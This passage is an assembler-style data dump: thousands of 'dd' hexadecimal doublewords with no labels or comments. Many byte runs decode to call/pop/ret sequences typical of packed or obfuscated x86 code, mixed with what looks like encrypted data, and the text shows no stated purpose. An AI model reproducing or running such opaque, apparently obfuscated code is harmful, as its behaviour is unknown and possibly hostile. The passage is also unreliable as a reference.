0E17EF416h, 423FC1FBh dd 7AEA0920h, 54832688h, 7F9D87A8h, 0C8801D19h, 0C9896C30h dd 0EE87A616h, 0CF4413BDh, 10D40h, 0C2D30000h, 65295786h dd 8CCFA29h, 5E6C9ACDh, 32742243h, 0BC16C91Ah, 174A946h dd 0FF3E67A3h, 285572D4h, 49E60D4Eh, 0BFFC2963h, 0E3112E90h dd 2B5984C2h, 0C4022B67h, 0F0A16B99h, 3549B1E4h, 5E0163F5h dd 79164984h, 372D1C1h, 1B3863A1h, 9AC8FB35h, 4C1B99D6h dd 3999BF8Ch, 24F32183h, 7B9F283h, 0D40CF26h, 24C7F633h dd 0C9F33076h, 0AB48BE16h, 878Ah, 84C25000h, 2A672B59h dd 0EB2958FBh, 0DB803AA9h, 2D3BF390h, 0FB396B0Ah, 8FCDB3D0h dd 0FC2B3664h, 0D18D18B8h, 4EA87CEh, 19F396C9h, 5810ADDCh dd 0D08DE889h, 5290B9F6h, 0CD97C527h, 0FF9F5130h, 0CBA540CFh dd 1B34628Dh, 0D26AEB1Bh, 0C360C214h, 65A2h, 84C26800h dd 6695B659h, 0A46D1FDCh, 0DCA2D26Fh, 0E216C9D2h, 5317CF6Ch dd 6C46E914h, 0AA62FF32h, 4D7BAAE6h, 0F01E4D89h, 0ABF3821Fh dd 7B294C9Bh, 0C7F5123Dh, 295786C2h, 0C91AB091h, 1896D216h dd 9FDAA063h, 2D5BBD74h, 0D2002B69h, 3DA6CD0Eh, 0A1C9D5A0h dd 0E8B8F382h, 840CF68h, 6, 8AB9F5CFh, 0A17BBFEDh, 3D073564h dd 4E7DBAA0h, 0FF3B1520h, 3BD8A2D0h, 0BAE81B55h, 593867D6h dd 0EB1EF47Eh, 0ED1B4684h, 0EF24C123h, 0B2E11E86h, 94045C95h dd 0B8DE43F1h, 0B2281C31h, 5986C084h, 0F8C2F01Bh, 0D0325D9Ch dd 6093CDB3h, 7AA5E3BDh, 2DE5824Ch, 2072D395h, 6897D313h dd 0E35763Ah, 1C4A71B2h, 0D7C7AE4Bh, 0A7FD78C7h, 0D403406Dh dd 0D77ADCA6h, 0F194BFFDh, 20720343h, 78158B13h, 7EB1EBD1h dd 25528C50h, 0C48EBCE7h, 36703462h, 0D411D503h, 466977A5h dd 88E76F2Fh, 4A7DB7EDh, 0BF824E2Dh, 749E4526h, 64000001h dd 0B866176Fh, 16C91AF6h, 0E82682F8h, 63C58FBDh, 9A112C0h dd 8F051C32h, 30639D61h, 74125E8Dh, 0BAE80F50h, 0BD8F3FF0h dd 6349F08Dh, 8EC1FC29h, 7F1B88DDh, 0E70462Ah, 0B5E21CE0h dd 4F19477Ah, 0BFFBBFEDh, 629E6290h, 0D4F70533h, 1675FDA1h dd 0D80B455Fh, 4834DCBBh, 46204526h, 0E3ADDB0Ah, 7F1C4B87h dd 705Eh, 186F2400h, 0C15503A6h, 4D16C919h, 47759CDDh dd 57781B7Dh, 1AC68836h, 52C816C9h, 0C91A5C22h, 0F61D5E16h dd 30A6FEC8h, 0A1D0DB93h, 384F6CC0h, 0BC562D8h, 16C9474Bh dd 0B7E5104Fh, 518DB6F3h, 0C82AF422h, 0A2D3229Ah, 7FF693FCh dd 66097BD2h, 85224D8Ch, 4434AA58h, 0C43A16C9h, 0DE094721h dd 0A249E6B0h, 0A2C4h, 0EC2B0500h, 2CC993C1h, 0A7176FFEh dd 1E555604h, 6BE11C32h, 0EA03323Dh, 138539BCh, 0CFF63793h dd 9E124C32h, 200FAEF0h, 58BA3013h, 0A71B553Bh, 200FB5F9h dd 61C33913h, 0F649B33h, 6BAA1320h, 144E1240h, 64C3B3E1h dd 2E7D8D11h, 0F0235D47h, 0D2429AD3h, 0EA19552Fh, 0B872204Dh dd 3E19D05Dh, 9CD69AC8h, 3B773B69h, 0DF1ADE0Ch, 2F8E7EACh dd 1FC80946h, 0ABB4017h, 8EBD2CA8h, 715BC9F2h, 51862381h dd 65D52D24h, 0C6C614C2h, 64851C20h, 0EC7B5D35h, 0C7F77D85h dd 1320AC87h, 12F49107h, 6F517F9Ch, 5604A717h, 1C394884h dd 0AA6E9C12h, 3A203D70h, 79FCD00h, 0CD19445Bh, 2E68425Dh dd 4C295EFBh, 0CEEB1E58h, 8C3AAEE8h, 41190CCAh, 0CEFC5ED4h dd 977894C3h, 0F51147CDh, 4377258h, 1C4B8761h, 0CF8724EEh dd 6F9DD00Bh, 15436AABh, 37B1EF4Bh, 0F5DA5863h, 1341A30Fh dd 0B3E1144Fh, 552043E9h, 1F56CD49h, 0FB184B85h, 96D3ADCEh dd 3F6F3967h, 4119737Fh, 866C097Fh, 2FEB194Ch, 15h, 0AC5A7B6Fh dd 16C91AEAh, 2DDB7EF4h, 16C91A69h, 5B62FF75h, 5B82C2EDh dd 0FC2F692Dh, 0A0CB0ACEh, 466DAE72h, 0EB165418h, 90BBF9BDh dd 30639E62h, 0D2013E02h, 75A4E0A4h, 95688647h, 5400006Fh dd 8324048Fh, 56042404h, 0C681E689h, 4, 8704EE83h, 895C2434h dd 7868240Ch, 89000024h, 0B850242Ch, 9520164h, 3C7E1025h dd 8E0C133h, 67039F0Dh, 8ABA5244h, 4222C407h, 681DF281h dd 0D0090595h, 1215255Ah, 742D0F4Ah, 8901518Fh, 396858C1h dd 8900003Dh, 4812424h, 424h, 81515D00h, 0C762434h, 458F7D15h dd 8B85008h, 1000000h, 763081E8h, 587D150Ch, 52242C8Bh dd 0C281E289h, 4, 4C281h, 14870000h, 0C8B5C24h, 0E0895024h dd 405h, 40500h, 4870000h, 0B8E95C24h, 0B3FFF907h, 382373DBh dd 79B713E2h, 2C78BC76h, 0F0778DB8h, 0FFC50305h, 9C8DA6E0h dd 178BE049h, 0F9875E5Fh, 722DBE01h, 0BC4775Bh, 736C5246h dd 100FE057h, 4C934A16h, 0B9B16614h, 0C0DE7563h, 0DBDDA53Fh dd 2D2D252Eh, 0D7EB636Fh, 0CA61E311h, 0A9353761h, 3086F853h dd 0B3F2D308h, 0C561B34Fh, 8B82F008h, 78F3FA0Bh, 78B5522Eh dd 594AA500h, 0E4545C05h, 28D71A66h, 714B0C77h, 0F5DD007Eh dd 6AA79E01h, 85267519h, 0B3B5CD15h, 71F47457h, 45110455h dd 4D04EB49h, 0E9080C82h, 534h, 6380A7E7h, 0F512417Dh dd 86A3D20Fh, 153265A0h, 0A9C6F12Fh, 37753DA5h, 0C809EF0Ch dd 5F9E84A1h, 0F7311734h, 0F9DAA7C4h, 39620B4Bh, 5C3A9313h dd 275588C2h, 0DDFA2563h, 5C8ABDF7h, 0E397751h, 0CF518B71h dd 0AF4510E6h, 3D6BCD19h, 0E00E3D79h, 0DEC6AFD2h, 6E5471A4h dd 1E7042Fh, 5E6997C2h, 0EE1C4384h, 60A18724h, 0B0270B39h dd 75A0DFC5h, 5C0A2B58h, 16C9CC1Ah, 7F3FEDA4h, 7F16C9CCh dd 240AA709h, 0F189B7EAh, 16C9CCD0h, 7D2E4766h, 40CF01D3h dd 5BCDh, 88C29300h, 9CD8B255h, 8018D06Dh, 16C91A3Ch, 0D9ED7F6h dd 40CFD743h dd 15Dh, 5A7B2300h, 0C91AEAACh, 0DB7EF416h, 0C91A692Dh dd 62FF7516h, 0E311407Ch, 99C2FED8h, 2FCC2E5Dh, 0B0DE0D49h dd 507EB1ECh, 4E561F42h, 6640E312h, 5CFFD28h, 0A1DBC168h dd 0B5F1CB6Eh, 1442E986h, 2B5984C2h, 0CEFC2B67h, 0AEF67FDEh dd 0EB2A0470h, 98C892C0h, 16C91AD6h, 0E30062D8h, 6290C3FDh dd 8F32619Eh, 104F78B5h, 8BEDB7E5h, 3EF6935Dh, 4A7CE6Fh dd 40CFD54Ch, 0B764h, 4C7B2A00h, 0B193534h, 462CC9CDh dd 0EBAFDD08h, 6A1B30AEh, 0B94C12C0h, 0DC5216C9h, 82F1902Bh dd 0C9E4F220h, 0EA87AEEFh, 7C9DC0B5h, 0C93588CEh, 6BA61616h dd 0DE400A38h, 0F21D5B41h, 86B1EFD5h, 5214C2E3h, 5C16C935h dd 0CD9149E6h, 62315F92h, 39F7B4C1h, 5740CFFAh, 73h, 0DA05441Eh dd 7411447Eh, 5984C246h, 0FA5087B6h, 6997C200h, 0EEEE9Fh dd 2E39F18Eh, 0BDEB1654h, 298BBEF9h, 3C67A68Ch, 5580BF99h dd 8C05D27h, 0AAD80744h, 7A4E0B91h, 106C8A2Ch, 8979A7D2h dd 43534B2Ah, 0E52381F4h, 598BCB79h, 9D1316C9h, 1569983Bh dd 25643494h, 0B6E48B28h, 295786C2h, 0C91AB091h, 8EE70616h dd 0CFD7731Dh, 16D40h, 0C2330000h, 64285685h, 5C9F72Ah dd 0AB6F9DC4h, 970F3D70h, 0F5712D48h, 70ADF77Eh, 93EB2441h dd 6F518023h, 0C9F433A9h, 7495A818h, 67FCAAD7h, 9F1C3166h dd 0FD37FB29h, 8DC7ADCAh, 0D0942C5Ah, 221320ACh, 0C802A2D3h dd 58927895h, 0F62007D6h, 8BED08AFh, 325F995Dh, 0C164C6F5h dd 6E0C1F92h, 9F3C9F5Ch, 6CE223E7h, 5BB0CE9Dh, 0B1DF4145h dd 4B85B2EDh, 0B788B618h, 0BB435B1Ah, 2A694364h, 0D707D1FFh dd 1320D997h, 0CF04A117h, 91C4FEA6h, 2F6D4774h, 0D8886704h dd 0D8452614h, 164h, 8ED07E9Fh, 101320ADh, 0D2013E9Ah dd 176F0735h, 0FD5604A7h, 291C3209h, 8F1ABE64h, 8CEE934Ch dd 2D609A5Eh, 41B4E310h, 1EA0F42Fh, 276147E4h, 94EA05A5h dd 8BED9B2Fh, 4123525Dh, 7234E200h, 7C1320E9h, 0DD6A5506h dd 73AD9330h, 0C3221240h, 85B8F2B2h, 27613B68h, 0DBBC6F4h dd 13204049h, 0E07DDF55h, 268D5F01h, 76244545h, 13205430h dd 8AAB48BEh, 52h, 0AC5A7B50h, 16C91AEAh, 2DDB7EF4h, 16C91A69h dd 2962FF75h, 0F82B66D2h, 0D145F396h, 1216C919h, 31CEF938h dd 13ABD94Fh, 16C91A53h, 95C8AD4Ah, 1B557EBBh, 8EF0BAE8h dd 0EF61B8F1h, 19089E4Ch, 0A01616C9h, 3D7C5683h, 7D1AE412h dd 9B9Fh, 176FDF00h, 0E2446FADh, 1E88913Fh, 14431C32h dd 0C7820433h, 32A6BF1h, 96A4F0A1h, 9D36B89h, 0E6148A6Ch dd 12B5E822h, 30CDFC38h, 0E769A389h, 0D531111Ah, 2351B37Eh dd 0D6FD3E18h, 0A0807F39h, 0C3121320h, 93D1ABB2h, 0CD703A68h dd 20A05F1Fh, 4CE95F13h, 0AB82C66h, 1320A044h, 8331D44Ah dd 1320A0C3h, 50F355CBh, 0A03D812Fh, 51C11320h, 0E784E615h dd 3FAF0740h, 0E8FAEE9Ch, 0A8019D0h, 0ABDE18DCh, 5322997Dh dd 9336A6FEh, 2090F3E5h, 5E01771Ch, 0ED1B4684h, 0B1DF8623h dd 4A7176Fh, 1C5870D5h, 0E402B3DEh, 0BAE784D2h, 3E6F6A99h dd 203102BEh, 0BB85B3E6h, 0EE02BC59h, 291C39A5h, 0C0FB81FAh dd 2FCC26D0h, 0E5A9D74Dh, 755B78ABh, 42DA083Bh, 11B44109h dd 0B99DCFFh, 9B819ED1h, 0F5002E61h, 0E99410C6h, 0FBA9458Ch dd 1EC584BBh, 0CE6BCD43h, 4680ADE8h, 0B91BE513h, 4530A78Bh dd 0D5F2255Fh, 5482B5EFh, 0A98h, 0C5FFD900h, 0FD9A6492h dd 0C233A1CFh, 692D5B82h, 0ACEFC2Fh, 0AE72A0CBh, 5418466Dh dd 0F9BDEB16h, 9E6290BBh, 3E023063h, 0E0A4D201h, 864775A4h dd 5E08950h, 4, 4B951h, 0C8290000h, 24048759h, 0E289525Ch dd 4C281h, 0EA810000h, 4, 5C241487h, 68240489h, 3085h dd 57243489h, 0F078DBBFh, 8BF88905h, 0C483243Ch, 4EC8304h dd 81242489h, 42404h, 535E0000h, 8BBh, 50F30100h, 0B240481h dd 8F0C1221h, 0B2B8103h, 5B0C1221h, 5724348Bh, 0C781E789h dd 4, 4C781h, 3C870000h, 34FF5C24h, 0C4815824h, 4, 0F901EEE9h dd 8701B7FFh, 0DE77EA99h, 0F07D7BB8h, 0FFC50305h, 437625E0h dd 0B426AE4Fh, 829AA7Ah, 5618EF70h, 0BEA60033h, 4E625B0Dh dd 0A9F3994Bh, 4802662Eh, 78319A15h, 0B44A8D6Ch, 7DFA3A08h dd 0D1A00742h, 3D34DA5Bh, 620C8B6Dh, 3F63991Fh, 32523601h dd 466F742Dh, 0EAA2B71Bh, 0DADE2029h, 11D64F03h, 4C22E41Ah dd 6B264354h, 0EA66442Ch, 10EB6Dh, 3 dup(0) dd 8B000000h, 835E52C0h, 0E9164DBDh, 9750005h, 1121BD83h dd 740005E9h, 8B535019h, 42DB8C0h, 85890000h, 5E923B9h dd 0B8C49D8Dh, 0D3FF05EBh, 0BD83585Bh, 5E91121h, 50177400h dd 42DB853h, 85890000h, 5E923B9h, 0B5B39D8Dh, 0D3FF05EBh dd 8D0F585Bh, 3, 0E9D6B70Fh, 0Dh, 0F3FAF3CEh, 2F574C66h dd 389E0DA1h, 6AC08B57h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 9623C350h, 86F476A1h dd 8707AD9Ah, 12C1958Bh, 6E805E9h, 0B1000000h, 0D1DE7FB5h dd 10E839h, 0A85A0000h, 1D106B7Fh, 3916199Dh, 32CB76AEh dd 958BA198h, 5E9034Dh, 8D8B5E5Eh, 5E91C9Dh, 1CA1BD89h dd 0F98305E9h, 0AD840F00h, 0F000000h, 287h, 64D78B00h dd 2C3D8Bh, 0B70F0000h, 0FFF0BD2h, 9384h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 850523AEh, 0E948FF78h, 0Dh, 1027F571h, 9158C319h, 2EF6FD4Ah dd 0C5858986h, 8B05E905h, 56006A3Fh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0FA55919Dh dd 0AF8BC0C5h, 0B70F6E42h, 6AC032D3h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 751AC350h dd 0B3FD4921h, 0D38C47Ah, 958BAAF3h, 5E9195Dh, 50414935h dd 52006A53h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 8652D54Eh, 5D9B2DD8h, 8BD1BF0Fh, 0E90635B5h dd 0E585C605h, 4705E90Eh, 2D498D01h, 0D96805E9h, 0E8CE2FD9h dd 5, 5A5DCC62h, 0BE853BAh, 85000000h, 0BB096EFBh, 0FF4FC1B5h dd 5A5AF299h, 2434815Eh, 12F951F5h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 3DC35545h, 24574B30h, 0D0BF0FC1h dd 0A6C68152h, 5E4E8C4Bh, 1EFDB5FFh, 890F05E9h, 2, 858DD3B2h dd 5EC7A6Fh, 71958B57h, 5E05E906h, 0BD89D0FFh, 5E90EA1h dd 2B2D8589h, 6A05E9h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 7C3AC0C3h, 0E4BA44F4h, 890BF046h dd 0E9031DBDh, 0E585C605h, 5305E90Eh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 0DDC35545h, 0FB34338Dh, 0B58BBB1Fh dd 5E906ADh, 4E8h, 986AFC00h, 6E988h, 7C850000h, 0FA196909h dd 0E6B56050h, 2890Fh, 0DA8B0000h, 24448B61h, 8B666004h dd 6E9F0h, 0E7D40000h, 6B56EAFh, 89008B61h, 8B042444h dd 958B58F3h, 5E907E5h, 1EFDB5FFh, 6A05E9h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 95B2E8C3h dd 89CD4885h, 0FCAA0AAh, 387h, 0F7B70F00h, 7A6F858Dh, 8B6605ECh dd 6AD0FFD7h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 0F9BBC353h, 0B4EC5763h, 42A728BEh dd 0BB666014h, 8D61E9A5h, 0EC447085h, 56006A05h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 29BEB81Dh, 0DDDFC758h, 13E9h, 4CA25800h, 94AE27D3h dd 94B2E113h, 0F5DC8407h, 159A5EA4h, 26758589h, 6A05E9h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 738EE0C3h, 11E927E4h, 24000000h, 0BB1478D4h, 2D81FB16h dd 0E5EE814Ah, 0FFDAD48h, 0FF6A206Ah, 267595FFh, 493505E9h dd 0C7535041h, 0E9309585h, 105h, 6185C700h, 5E912h, 31000000h dd 0E9318585h, 0B70F6005h, 25BD89FBh, 6105E910h, 1EDDBD83h dd 0F0005E9h, 4484h, 0EEF68000h, 0ACD858Bh, 8D8905E9h dd 5E90359h, 0A364h, 0BF0F0000h, 69858BF7h, 305E91Fh, 0E9227D95h dd 6AE08B05h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 0F1AEC355h, 21BD837Dh, 5E910h dd 46C850Fh, 9D890000h, 5E91275h, 0EE585C6h, 6A5605E9h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 0A535C350h, 544C3DE5h, 24A1B58Bh, 4E805E9h dd 0DF000000h, 0BEA9C530h, 1ED129A0h, 12E850h, 0AFE00000h dd 261C9981h, 0CD3E3598h, 0CC1014AFh, 4610F6Bh, 0CE9h dd 70779C00h, 0FE50452Ch, 923F0868h, 448B5EDFh, 13E90424h dd 8000000h, 160CF0B5h, 0DAA226D6h, 20CF1E58h, 0ABB7E5F7h dd 8BBE31h, 10BE6650h, 44895AB7h, 0F580424h, 138Ch, 0EE900h dd 51FA0000h, 7D505AD3h, 7003D762h, 0FD2DF2F8h, 0B5FFD78Bh dd 5E91EFDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 83C35141h, 0EDAA746Bh, 0C64CC72Fh, 6F858DCAh, 8905EC7Ah dd 0E90ECDBDh, 6AD0FF05h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 7101C353h, 8F0FC99Ch dd 6, 16EDBD89h, 816605E9h, 5088CBF2h, 13E8h, 4BC8BA00h dd 4549594Fh, 0DB52FABh, 0A2E123EAh, 0C7EF673Bh, 895EF38Bh dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 4A3036C3h, 0CDAB1356h, 0C68160DAh, 65EA385Ch dd 7999D89h, 8D6105E9h, 0E927498Dh, 0DD958B05h, 5005E904h dd 1A8A0Fh, 52500000h, 310F6160h, 0DE9h, 0EC051800h, 1AEC7D42h dd 0A80F3CBCh, 585A56DAh, 0E8240C89h, 5, 0FDC1532Dh, 70BA667Bh dd 46A5AC2h, 68D18B66h, 5D45F008h, 14E9h, 9D016D00h, 0BA621E55h dd 0E2C026D4h, 0C1196ECBh, 0E195B64Bh, 2434811Ch, 5D45E008h dd 1851BD09h, 8A0F05E9h, 7, 0FA21BE52h, 0FF5A425Ah, 0E90769B5h dd 698D8905h, 0FF05E932h, 5E8D0h, 6F5A0000h, 142E143h dd 0E9077D9Dh, 0B58B5A05h, 5E902C1h, 769BD8Bh, 6A05E9h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 29596FC3h, 0B3192051h, 13E8D9D6h, 89000000h, 75DF2FF5h dd 0DB105954h, 0EC2C1FEh, 153110CFh, 0F603AF1h, 9E8D0BFh dd 1000000h, 0EBB6C36h, 1297AA26h, 35E6159h, 85293C7Fh dd 5E91985h, 0F8C781h, 0CA810000h, 418AB7Ah, 202447C7h dd 83600000h, 0F07E76BDh, 840F0005h, 14Dh, 8BD38B66h, 0E930E9B5h dd 28C78305h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 7AC35141h, 2BAE147Dh, 7C7F08Bh, 64696A2Eh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0F7C35141h, 3AAEF52Eh dd 6216C0DAh, 0D6816602h, 47C7A0C3h, 61746104h, 3800F00h dd 80000000h, 858BD6D6h, 5F07E7Eh, 4789D38Bh, 79D6800Ch dd 22D59D31h, 858B05E9h, 5F07E82h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 84C35646h, 0B90F53B3h, 8D09FC76h dd 5E903DDh, 89084789h, 0E92EC1B5h, 28C78305h, 643FBE66h dd 632E07C7h, 81666E6Fh, 0C7BB15EAh, 69660447h, 850F0067h dd 2, 0B533F78Bh, 5E9191Dh, 7E7A858Bh, 89F805F0h, 6A0C47h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 7FFE51C3h, 5DB589E1h, 8905E90Dh, 0E916859Dh, 76858B05h dd 6A05F07Eh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 0E365C350h, 15F280D1h, 51B58Bh, 478905E9h dd 958B5608h, 5E90E31h, 9D31585Ah, 5E92E2Dh, 10858D8Dh dd 890F05E9h, 6, 0E05BD29h, 0E89105E9h, 0Fh, 35928DE2h dd 0DDEE4940h, 0FA36E745h, 0BA49BE58h, 772E020Eh, 0BA66505Eh dd 0FF91B901h, 0E92749B5h, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 4CA7EA29h dd 8C346826h, 8B662699h, 243481F2h, 26999C34h, 2B55B50Bh dd 0B5FF05E9h, 5E90769h, 0BD38B66h, 0E926ADB5h, 0E9D0FF05h dd 0Ah, 3825D80Eh, 0DFBAEF84h, 0B8B716h, 0E9000000h, 11h dd 0A1198EA6h, 0F8EEAA57h, 70374B50h, 0DAC72D6Ch, 0FC00BCBh dd 1884h, 0DE816600h, 0B5FF8F41h, 5E919BDh, 0C595FFF5h dd 8905E90Bh, 0E931219Dh, 83C08B05h, 0E9164DBDh, 9750005h dd 1121BD83h, 740005E9h, 8B535019h, 42DB8C0h, 85890000h dd 5E905ADh, 0B92B9D8Dh, 0D3FF05EBh, 0BD83585Bh, 5E91121h dd 50177400h, 42DB853h, 85890000h, 5E905ADh, 0B5CC9D8Dh dd 0D3FF05EBh, 7E9585Bh, 10000000h, 789A837Ah, 9533116Ah dd 5E9009Dh, 0CE8C08Bh, 2B000000h, 3BF5FD43h, 7080F5A0h dd 81A498BFh, 9A387BD6h, 0C08B5A45h, 13E8h, 0C24B1D00h dd 0A5F1C40h, 8D6EF7A3h, 64023A46h, 27D09B5Ah, 0C0EFDF81h dd 235E070Ch, 0E918C18Dh, 16C68105h, 89000069h, 0E9009985h dd 6E4B805h, 0C0814312h, 0BCEE1338h, 1ACA8166h, 0E91E8B6Ah dd 0Bh, 0D7466067h, 0A8565107h, 81A7860Bh, 0F622BBEBh dd 0B9BD8958h, 8105E90Dh, 669812C3h, 6890F3Dh, 29000000h dd 0E90FC1BDh, 54C38105h, 5330EE7Bh, 0C55D781h, 68F296Eh dd 83FFBF0Fh, 8D8B04EEh, 5E90E45h, 0F850F48h, 0F000000h dd 14E9C9B7h, 19000000h, 4FBFFD9Dh, 6AB6EC0Dh, 0FFFF98E9h dd 0BEF7F3FFh, 8D3244EEh, 0F089488Dh, 57006A05h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 1B449DD6h, 0E3300524h, 8E860h, 54B80000h, 0AF433DD2h dd 1FBE56AAh, 5E25321Ah, 2E7D8589h, 896105E9h, 0E926558Dh dd 585C705h, 9805E908h, 0E8000062h, 8, 0F667DC8Eh, 43CD8A30h dd 7DDBD89h, 0C75B05E9h, 0E9163D85h, 5, 7E900h, 3C690000h dd 9F3DF62Ah, 1DB5FFDAh, 0B05E932h, 0E905E9BDh, 0C595FF05h dd 0F05E90Bh, 6AF8B7h, 1E9595FFh, 0C08B05E9h, 8B870EEBh dd 4A10A2B4h, 0D5F1F6B6h, 0D24E766Bh, 0C08Bh, 1A1h dup(0) dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 27C35242h dd 0F7A1F34h, 181h, 0BE9F500h, 0A000000h, 0D66C83B4h, 0A18BC2ACh dd 6A9D1AD1h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 18ACC357h, 13E9D9h, 7D1C0000h dd 1ADB6C56h, 0CCCA28B1h, 96AE1985h, 13181606h, 9E9E5h dd 2B5C0000h, 9FDFB996h, 6155BE4Ch, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 6EC35646h, 8BFC603Dh, 5DF861FAh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 7FC35242h dd 85F62213h, 8244401h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 1C35141h, 0B7102540h, 1A1F14ECh, 0AE958F9h dd 0E0000000h, 0F6E66F37h, 91B856A1h, 6AC39D2Ah, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 5859C351h, 57006AD7h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 4AFC2FBCh, 0FFB8C4FAh, 6660FF88h dd 0F98935BBh, 0F8C08B61h, 5820Fh, 81660000h, 81CF24E0h dd 68DA82E3h, 7E839h, 85E20000h, 268E3D5Fh, 0D480532Ah dd 0E9595BC7h, 8, 0AD0A090Fh, 90879237h, 0C9CA8050h, 0F560F85Ah dd 0BD53BB61h, 0BF0F630Bh, 815160FEh, 0A267D9CEh, 12E95E75h dd 33000000h, 7D73DD24h, 6DF23813h, 4F951C56h, 2ABC2803h dd 0BE96176h, 60000000h, 0FBB8502Fh, 0EE7D24D3h, 7E87589h dd 0F000000h, 0FF2EA1DEh, 665EC56Eh, 80D8F681h, 5840Fh dd 81660000h, 0E99FFFD0h, 10h, 0A70DA023h, 0A6CD3F69h dd 34338DDDh, 73BB1FFBh, 3F3ACABBh, 42E6803Bh, 0FFBBF0Fh dd 58Fh, 8B665000h, 0BF0F5ADEh, 0B70FFCD1h, 6EC680C2h dd 66F78B66h, 817229BEh, 0D41CE0D6h, 0DB816658h, 0CA80413Fh dd 0F3B70F04h, 92BEF38Bh, 0F699977h, 0BF0FD3B7h, 8C0FF8F8h dd 0Fh, 0AE9h, 0E3650200h, 7389C4D1h, 0F52D369h, 0E87h dd 0C7816000h, 8CF8AD2h, 4A69D381h, 0F61077Ch, 8Eh, 66D88B00h dd 0CBA0EB81h, 8EBBDC8Ah, 0BB487DA4h, 23021313h, 9E9h dd 6EA6BC00h, 1A42630Eh, 0DF817FB2h, 6B04F42h, 0B3F28B66h dd 5830FEEh, 66000000h, 74C9F281h, 6E9h, 0D628CD00h, 0FE8B570h dd 8166D3BFh, 0E92FE9CEh, 0Ah, 0AFA72330h, 0CE29CCAEh dd 66F56472h, 0E9105DB8h, 5, 842B5A54h, 0D18B66B0h, 10E960h dd 310F0000h, 0B245665Ah, 13E01170h, 9B10998Dh, 81669B16h dd 61D96AD3h, 0E9D38BF5h, 10h, 26801BB0h, 4BD551A4h, 0A2421BFAh dd 554B9EDEh, 0F5F8FCF5h, 0DFC28166h, 0AEBF6069h, 80445DCAh dd 0F56177CDh, 1D870Fh, 11E80000h, 10000000h, 26883064h dd 0C73288BCh, 345203D9h, 0AD830398h, 0A16ECA81h, 665F0D81h dd 144F281h, 14E9h, 9120E00h, 0C00C5A17h, 276A3E48h, 0B814371Fh dd 0FE0CD82Fh, 0AAC2800Ch, 44BF66F8h, 3800F3Eh, 0F000000h dd 11E9F3BFh, 64000000h, 57F1A8ACh, 0E025907Ah, 0E7971527h dd 0E3315638h, 0D540D881h, 0B9560289h, 327E612Eh, 0EEF5805Eh dd 18F0Fh, 0BEFC0000h, 628FAC01h, 81665F56h, 0F96A7CBh dd 6E9F8B7h, 23000000h, 33B0E36h, 8E8F4h, 0DFDA0000h, 560A58F6h dd 5FF811D3h, 8A68CB80h, 0D28166EEh, 0BFF5FAECh, 780566D8h dd 0E8FFBF0Fh, 9, 77E27443h, 4F0DD866h, 20D281EBh, 58569C3Ah dd 11E9h, 506FD100h, 3430E078h, 0E1CE96A6h, 952812E7h dd 6E85363h, 13000000h, 2BD4F58Ch, 0E381662Eh, 0E85F4D18h dd 0Eh, 0CB794250h, 265CF1DFh, 0D2101A58h, 0BA505AA1h dd 53B14050h, 0F605F5Fh, 38Eh, 0FE8B6600h, 61F28B66h, 5830Fh dd 0C1BA0000h, 0E86908E1h, 0Ch, 972A530h, 35D49FB7h, 661514D2h dd 6890Fh, 880F0000h, 0 dd 0D281665Bh, 8166C80Eh, 0E9F8CCD7h, 0Eh, 935A2C8Fh, 1CD3F37Dh dd 87CAE560h, 860FDC98h, 2, 0E8F5D78Bh, 14h, 5A7C60BDh dd 52E613C3h, 5F9074F9h, 2D2635Eh, 3253080Ch, 0BB665FF8h dd 0BE9DF83h, 47000000h, 0B34A27EFh, 0EBDAE7D9h, 0BF6681F3h dd 66F5C00Eh, 374CDB81h, 0CEB70F50h, 0F9B70F5Fh, 2870Fh dd 0CE8B0000h, 0FFB8B66h, 0B84h, 58C0F00h, 0BE000000h dd 1812394Ch, 2880Fh, 9BB70000h, 0CB8166FCh, 0F280484Fh dd 810F5236h, 0 dd 0B1D8815Bh, 66480DB5h, 0BF7025B9h, 6011995Dh, 655451BEh dd 0C8BF0F0Fh, 0EE8h, 0BE0C1800h, 0C3958815h, 64D7BDF4h dd 